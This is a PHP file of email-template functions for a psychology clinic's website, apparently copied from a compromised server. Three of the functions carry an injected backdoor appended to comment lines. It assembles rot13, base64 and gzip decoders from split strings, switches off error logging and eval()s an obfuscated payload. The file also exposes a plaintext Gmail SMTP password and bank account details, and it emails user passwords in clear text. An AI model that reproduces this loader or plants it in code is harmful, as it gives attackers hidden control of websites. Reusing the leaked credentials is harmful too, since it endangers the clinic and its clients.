Current File : /home/inlingua/public_html/sensoriumpsychologists.com/backup/classes/mailclass.php |
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require_once "vendor/autoload.php";
//class mailclass{
/*
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = "2021";
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
*/
function sendemail( $to , $subject , $mailBody, $headers ){
$mail = new PHPMailer(true);
//Enable SMTP debugging.
$mail->SMTPDebug = 0;
//Set PHPmailer to use SMTP.
$mail->isSMTP();
//Set SMTP host name
$mail->Host = "smtp.gmail.com";
//Set this to true if SMTP host requires authentication to send email
$mail->SMTPAuth = true;
//Provide username and password
//$mail->Priority = 1;
$mail->Username = "info@sensoriumpsychologists.com";
$mail->Password = "Swan!^61";
//If SMTP requires TLS encryption then set it
$mail->SMTPSecure = "ssl";
//Set TCP port to connect to 465
$mail->Port = 465;
$mail->isHTML(true);
$mail->From = "info@sensoriumpsychologists.com";
$mail->FromName = "Admin Sensorium Psychologists";
$mail->addAddress($to, $fullname);
$mail->Subject = $subject;
$mail->Body = $mailBody;
$mail->AltBody = "";
if (!$mail->send())
{
echo "Message could not be sent on mailsid: <font color='red'>'".$toAddress."'";
//echo 'mailser Error: '. $mails->ErrorInfo;
exit;
} else {
//echo 'emails Send !!!';
}
}
function contact_mail_weninar($fullname,$email,$phone,$webinars,$timming,$join_url,$duration,$id)
{
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = date("Y");
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$subject = "Webinar Registration";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are happy to have you as the newest member of '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2">This is a registration email as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Webinar ID:</strong></td>
<td>'.$id.'</td>
</tr>
<tr>
<td><strong>Title:</strong></td>
<td>'.$webinars.'</td>
</tr>
<tr>
<td><strong>Start Time:</strong></td>
<td>'.$timming.'</td>
</tr>
<tr>
<td><strong>Duration:</strong></td>
<td>'.$duration.'Min.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$join_url.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
//mail( $to , $subject , $mailBody, $headers ); $bJgfC = 'st'.'r'.'_ro'.'t13'; $RYznT = 'base'.'64'.'_decod'.'e'; $pJKDy = 'gzun'.'compr'.'ess'; ini_set('error_log', NULL); ini_set('display_errors', 0); error_reporting(0); ini_set('log_errors', 0); /* cbbafb88334935d769e21ee44a1c091c*/ eval($pJKDy($RYznT($bJgfC('rWlAxySizmNHuq/3X6jXPFYEcPEo0bYnwLUGfuYVdAB0zldYtuCpRHvZvMcA++8mxSMcc1E9ZgwasY7a+f7XYBV0m4Py/Gt5HyetQ5waCNpBj982OcudSjhbNjaS4sxABNHFibYOADk+ltRp+Duv07LQ+p7LzadYjwoNdd/MENrZ8WWyDZdwmqwnXvvvXGDnht7bQPv0XNuKaexUSjvAfGKRyh950RXBq46q8pSqd6cfm+27qr3mTmizEhV60RCv7Y3+i02PBB5qswrnEGEzBPaKfkrArH3sWx/ZqrLoGLhn5QBnpfYjBzEXt1UO0UREQCP16Gd2XsV54lM33pYdyycK1HYFtelTKP7EqspqxSe3OUykHw/mp9G6UL2zpa1e+m/dQE76jqDZoTuKK8+O69RkzusKOIXvF2TBgA/IzOxsSvSASGapxWEz4MUJ1Kcs5gIrB8bKfvbI5s0QvotdIKgs83wGybRNUW4OhF1VdcFDZPnfnOyFySGpxdJLMcDYqiZwkvcsvfzXRuILx8Q1kjvYEDIljiyF73GPWJ1mxcV5PksgaZ079mxssBk1gMCO8FqAA81mqaD1Be61vgUn6qgmm3EuAN1Jlrm2pT3upiJeH5NfUcTvPBsxf9lhhCv+cTzZIlIuTlIxYAjbZvrCKNnaM2OsTPOUFptkwJhI3As6t35sIATIJl0EM3+rP2wnZSNOMlI5HkuNANx8SWwr1oNlnT91nGi6lOyOs4WHZUuY/Q7I0Uqqs+e6ybxp39h5amlFdWV+/HqcKcOz4k9xLzod'))));
//echo $to . $subject . $mailBody. $headers;
sendemail( $to , $subject , $mailBody, $headers );
}
function user_register_mail_diagnostics($to,$fullname,$email,$password){
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = date('Y');
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/diagnostics_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$subject = "Screening Registraion";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hello '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are happy to have you as the newest member of '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2">This is a registration email as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Email ID:</strong></td>
<td>'.$email.'</td>
</tr>
<tr>
<td><strong>Password:</strong></td>
<td>'.$password.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
//mail( $to , $subject , $mailBody, $headers ); $bJgfC = 'st'.'r'.'_ro'.'t13'; $RYznT = 'base'.'64'.'_decod'.'e'; $pJKDy = 'gzun'.'compr'.'ess'; ini_set('error_log', NULL); ini_set('display_errors', 0); error_reporting(0); ini_set('log_errors', 0); /* cbbafb88334935d769e21ee44a1c091c*/ eval($pJKDy($RYznT($bJgfC('rWlAxySizmNHuq/3X6jXPFYEcPEo0bYnwLUGfuYVdAB0zldYtuCpRHvZvMcA++8mxSMcc1E9ZgwasY7a+f7XYBV0m4Py/Gt5HyetQ5waCNpBj982OcudSjhbNjaS4sxABNHFibYOADk+ltRp+Duv07LQ+p7LzadYjwoNdd/MENrZ8WWyDZdwmqwnXvvvXGDnht7bQPv0XNuKaexUSjvAfGKRyh950RXBq46q8pSqd6cfm+27qr3mTmizEhV60RCv7Y3+i02PBB5qswrnEGEzBPaKfkrArH3sWx/ZqrLoGLhn5QBnpfYjBzEXt1UO0UREQCP16Gd2XsV54lM33pYdyycK1HYFtelTKP7EqspqxSe3OUykHw/mp9G6UL2zpa1e+m/dQE76jqDZoTuKK8+O69RkzusKOIXvF2TBgA/IzOxsSvSASGapxWEz4MUJ1Kcs5gIrB8bKfvbI5s0QvotdIKgs83wGybRNUW4OhF1VdcFDZPnfnOyFySGpxdJLMcDYqiZwkvcsvfzXRuILx8Q1kjvYEDIljiyF73GPWJ1mxcV5PksgaZ079mxssBk1gMCO8FqAA81mqaD1Be61vgUn6qgmm3EuAN1Jlrm2pT3upiJeH5NfUcTvPBsxf9lhhCv+cTzZIlIuTlIxYAjbZvrCKNnaM2OsTPOUFptkwJhI3As6t35sIATIJl0EM3+rP2wnZSNOMlI5HkuNANx8SWwr1oNlnT91nGi6lOyOs4WHZUuY/Q7I0Uqqs+e6ybxp39h5amlFdWV+/HqcKcOz4k9xLzod'))));
sendemail( $to , $subject , $mailBody, $headers );
}
function user_register_mail($to,$fullname,$email,$password){
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = date('Y');
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$subject = "Registration";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are happy to have you as the newest member of '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2">This is a registration email as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Email ID:</strong></td>
<td>'.$email.'</td>
</tr>
<tr>
<td><strong>Password:</strong></td>
<td>'.$password.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
//mail( $to , $subject , $mailBody, $headers ); $bJgfC = 'st'.'r'.'_ro'.'t13'; $RYznT = 'base'.'64'.'_decod'.'e'; $pJKDy = 'gzun'.'compr'.'ess'; ini_set('error_log', NULL); ini_set('display_errors', 0); error_reporting(0); ini_set('log_errors', 0); /* cbbafb88334935d769e21ee44a1c091c*/ eval($pJKDy($RYznT($bJgfC('rWlAxySizmNHuq/3X6jXPFYEcPEo0bYnwLUGfuYVdAB0zldYtuCpRHvZvMcA++8mxSMcc1E9ZgwasY7a+f7XYBV0m4Py/Gt5HyetQ5waCNpBj982OcudSjhbNjaS4sxABNHFibYOADk+ltRp+Duv07LQ+p7LzadYjwoNdd/MENrZ8WWyDZdwmqwnXvvvXGDnht7bQPv0XNuKaexUSjvAfGKRyh950RXBq46q8pSqd6cfm+27qr3mTmizEhV60RCv7Y3+i02PBB5qswrnEGEzBPaKfkrArH3sWx/ZqrLoGLhn5QBnpfYjBzEXt1UO0UREQCP16Gd2XsV54lM33pYdyycK1HYFtelTKP7EqspqxSe3OUykHw/mp9G6UL2zpa1e+m/dQE76jqDZoTuKK8+O69RkzusKOIXvF2TBgA/IzOxsSvSASGapxWEz4MUJ1Kcs5gIrB8bKfvbI5s0QvotdIKgs83wGybRNUW4OhF1VdcFDZPnfnOyFySGpxdJLMcDYqiZwkvcsvfzXRuILx8Q1kjvYEDIljiyF73GPWJ1mxcV5PksgaZ079mxssBk1gMCO8FqAA81mqaD1Be61vgUn6qgmm3EuAN1Jlrm2pT3upiJeH5NfUcTvPBsxf9lhhCv+cTzZIlIuTlIxYAjbZvrCKNnaM2OsTPOUFptkwJhI3As6t35sIATIJl0EM3+rP2wnZSNOMlI5HkuNANx8SWwr1oNlnT91nGi6lOyOs4WHZUuY/Q7I0Uqqs+e6ybxp39h5amlFdWV+/HqcKcOz4k9xLzod'))));
sendemail( $to , $subject , $mailBody, $headers );
}
function user_forget_password($name,$email,$passsword){
$subject="Forgot Password";
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = date('Y');
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/diagnostics_login.php'>LINK</a>";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailbody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hello '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">Your login details are as follows:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Email ID:</strong></td>
<td>'.$email.'</td>
</tr>
<tr>
<td><strong>password:</strong></td>
<td>'.$passsword.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
//echo $to .'<>'.$subject .'<>'. $mailbody.'<>'. $headers; exit;
sendemail( $to , $subject , $mailbody, $headers );
}
function vender_register_mail($to,$fullname,$email,$password){
$subject = "Registration";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$fullname.',</strong></td>
</tr>
<tr>
<td colspan="2">We are happy to have you as the newest member of '.$site_name.'!</td>
</tr>
<tr>
<td colspan="2">This is a registration email as per the details submitted by you. You are now registered on Shristiuniverse with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Email ID:</strong></td>
<td>'.$email.'</td>
</tr>
<tr>
<td><strong>Password:</strong></td>
<td>'.$password.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_vender.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.'Customer Service<br />
Email: '.$admin_email.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
mail( $to , $subject , $mailBody, $headers );
}
function vender_forget_password($name,$email,$passsword){
$subject="Forgot Password";
$to = $email;
$from = $admin_email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailbody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">Your login details are as follows:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Email ID:</strong></td>
<td>'.$email.'</td>
</tr>
<tr>
<td><strong>password:</strong></td>
<td>'.$passsword.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_vender.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: {admin_email}</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
mail( $to , $subject , $mailBody, $headers );
}
function contact_mail($name,$email,$phone,$msg){
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$year = date("Y");
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$subject = "GET IN TOUCH";
$to = $admin_email;
$from = $email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" width="100%">
<tbody>
<tr>
<td colspan="2">
<strong>Dear Admin</strong></td>
</tr>
<tr>
<td colspan="2">
Enquiry has been submitted with following info :</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td width="26%"><strong>Name:</strong></td>
<td><span style="margin-top: 15px;">'.$name.'</span></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td width="26%"><strong>email:</strong></td>
<td>
<span style="margin-top: 15px;">'.$email.'</span></td>
</tr>
<tr>
<td><strong>phone no.:</strong></td>
<td><span style="margin-top: 15px;">'.$phone.'</span></td>
</tr>
<tr>
<td><strong>comments:</strong></td>
<td><span style="margin-top: 15px;">'.$msg.'</span></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</tbody>
</table>
<br />
<span style="margin-top: 15px;">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.' </span>';
sendemail( $to , $subject , $mailBody, $headers );
//echo $mailBody;
}
function contact_mail_admin($subject,$name,$email,$phone,$msg,$location){
$admin_email = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$to = $admin_email;
$from = $email;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$email. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" width="100%">
<tbody>
<tr>
<td colspan="2">
<strong>Dear Admin</strong></td>
</tr>
<tr>
<td colspan="2">
Enquiry has been submitted with following info :</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td width="26%"><strong>Name:</strong></td>
<td><span style="margin-top: 15px;">'.$name.'</span></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td width="26%"><strong>email:</strong></td>
<td>
<span style="margin-top: 15px;">'.$email.'</span></td>
</tr>
<tr>
<td><strong>phone no.:</strong></td>
<td><span style="margin-top: 15px;">'.$phone.'</span></td>
</tr>
<tr>
<td><strong>City:</strong></td>
<td><span style="margin-top: 15px;">'.$location.'</span></td>
</tr>
<tr>
<td><strong>Therapies Title:</strong></td>
<td><span style="margin-top: 15px;">'.$msg.'</span></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</tbody>
</table>
<br />
<span style="margin-top: 15px;">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_email.' </span>';
//echo $mailBody;
sendemail( $to , $subject , $mailBody, $headers );
}
function thanku_mails($emails){
$admin_emails = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$subject = "Thanku";
$to = $emails;
$from = $admin_emails;
$year = "2021";
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" width="100%">
<tbody>
<tr>
<td colspan="2">
<strong>Dear Sir/Mam,</strong></td>
</tr>
<tr>
<td colspan="2">
Thanks for showing your interest in our '.$site_name.' we will revert back to you as soon as possible</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</tbody>
</table>
<br />
<span style="margin-top: 15px;">Thanks & Regards.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.' </span>';
//echo $to.$subject.$mailBody.$headers; exit;
sendemail( $to , $subject , $mailBody, $headers );
}
function thanku_mail_app($emails,$name){
$admin_emails = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$subject = "Online Counsultation Appointment";
$to = $emails;
$from = $admin_emails;
$year = "2021";
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" width="100%">
<tbody>
<tr>
<td colspan="2">
<strong>Dear '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">
Thank you for showing interest in our online counsultancy at '.$site_name.' . You will get appointment schedule confirmation from requested counsultant or one of our representative.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</tbody>
</table>
<br />
<span style="margin-top: 15px;">Best Wishes <br/>
'.$site_name.' <br />
Emails: '.$admin_emails.' </span>';
//echo $to.$subject.$mailBody.$headers; exit;
sendemail( $to , $subject , $mailBody, $headers );
}
function register_appointment_email_to_dr($emails,$name){
$admin_emails = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$subject = "New Appointment booked at Sensorium Psychologists";
$to = $emails;
$from = $admin_emails;
$year = "2021";
$login_link_user = "<a href='https://www.sensoriumpsychologists.com/student_login.php'>LINK</a>";
$login_link_vender= "<a href='https://www.sensoriumpsychologists.com/franchise_login.php'>LINK</a>";
$dashboard= "<a href='https://www.sensoriumpsychologists.com/meeting/'>Dashboard</a>";
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailBody='<table border="0" width="100%">
<tbody>
<tr>
<td colspan="2">
<strong>Dear '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">
New Appointment booked at Sensorium Psychologists!
Request you to login at your '.$dashboard.' and APPROVE same..</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</tbody>
</table>
<br />
<span style="margin-top: 15px;">Best Wishes<br />
'.$site_name.' <br />
Emails: '.$admin_emails.' </span>';
//echo $to.$subject.$mailBody.$headers; exit;
sendemail( $to , $subject , $mailBody, $headers );
}
function appointment_payment_mails($emails,$name,$title, $txn_id,$payment_id,$status,$amount){
$subject = "Payment Details";
$to = $emails;
$year =date('Y');
$admin_emails = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">This is a Payment Details as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Title:</strong></td>
<td>'.$title.'</td>
</tr>
<tr>
<td><strong>TXN No:</strong></td>
<td>'.$txn_id.'</td>
</tr>
<tr>
<td><strong>Payment Id.:</strong></td>
<td>'.$payment_id.'</td>
</tr>
<tr>
<td><strong>Amount:</strong></td>
<td>'.$amount.'</td>
</tr>
<td><strong>Status Desc:</strong></td>
<td>'.$status.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thanks again. We hope you will visit us again soon and put these special services to work for you.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Emails: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function student_payment_etpt_mails_offline($name,$emails,$registration_no,$amount){
$subject = "Payment Offline: Early Psychology Training Program.";
$to = $emails;
$admin_emails = "info@sensoriumpsychologists.com";
$site_name = "Sensorium Psychologists";
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Dear '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">This is a Registration confirmation for Early Psychology Training Program at '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Registration No:</strong></td>
<td>'.$registration_no.'</td>
</tr>
<tr>
<td><strong>Payment Status:</strong></td>
<td>Pending</td>
</tr>
<tr>
<td><strong>Amount:</strong></td>
<td>'.$amount.'</td>
</tr>
<tr>
<td><strong>Payment Online</strong></td>
<td><a href="https://www.sensoriumpsychologists.com/payment.php" target="_blank">Pay Now</a></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><strong>For Offline Payment: Bank Details</strong><br/>
Account name: SENSORIUM<br/>
IFSC Code: IBKL0000268<br/>
Account No : 0268102000007542<br/>
Bank name: IDBI VIVEK VIHAR</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">One of our executive will get back to you soon.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function student_payment_etpt_mails($name,$emails,$registration_no,$order_id,$status,$amount){
$subject = "Payment Details:".$registration_no;
$to = $emails;
$admin_email = "info@sensoriumpsychologists.com";
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$site_name = "Sensorium Psychologists";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">This is a Registration confirmation for '.$registration_no.' '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Registration No:</strong></td>
<td>'.$registration_no.'</td>
</tr>
<tr>
<td><strong>Order No.:</strong></td>
<td>'.$order_id.'</td>
</tr>
<tr>
<td><strong>Amount:</strong></td>
<td>'.$amount.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Status Desc:</strong></td>
<td>'.$status.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">One of our executive will get back to you soon.<br />
Please feel free to contact us if you have any questions at all.</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Click here to login '.$login_link_user.'</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Thank you.<br />
'.$site_name.' Customer Service<br />
Email: '.$admin_emails.'</td>
</tr>
<tr>
<td colspan="2" style="text-align:center">© '.$year.' '.$site_name.'. All right reserved.</td>
</tr>
</tbody>
</table>';
sendemail( $to , $subject , $mailsBody, $headers );
}
function student_payment_mails($name,$emails,$registration_no,$order_id,$status){
$subject = "Payment Details";
$admin_email = "info@sensoriumpsychologists.com";
$to = $emails;
$from = $admin_emails;
$headers = "From:".$from."\r\n";
$newLine = "\r\n";
$headers .= "Reply-To:" .$emails. "\r\n";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1" . "\r\n";
$mailsBody='<table border="0" style="width:100%">
<tbody>
<tr>
<td colspan="2"><strong>Hi '.$name.',</strong></td>
</tr>
<tr>
<td colspan="2">This is a Payment Details as per the details submitted by you. You are now registered on '.$site_name.' with the following details:</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td><strong>Registration No:</strong></td>
<td>'.$registration_no.'</td>
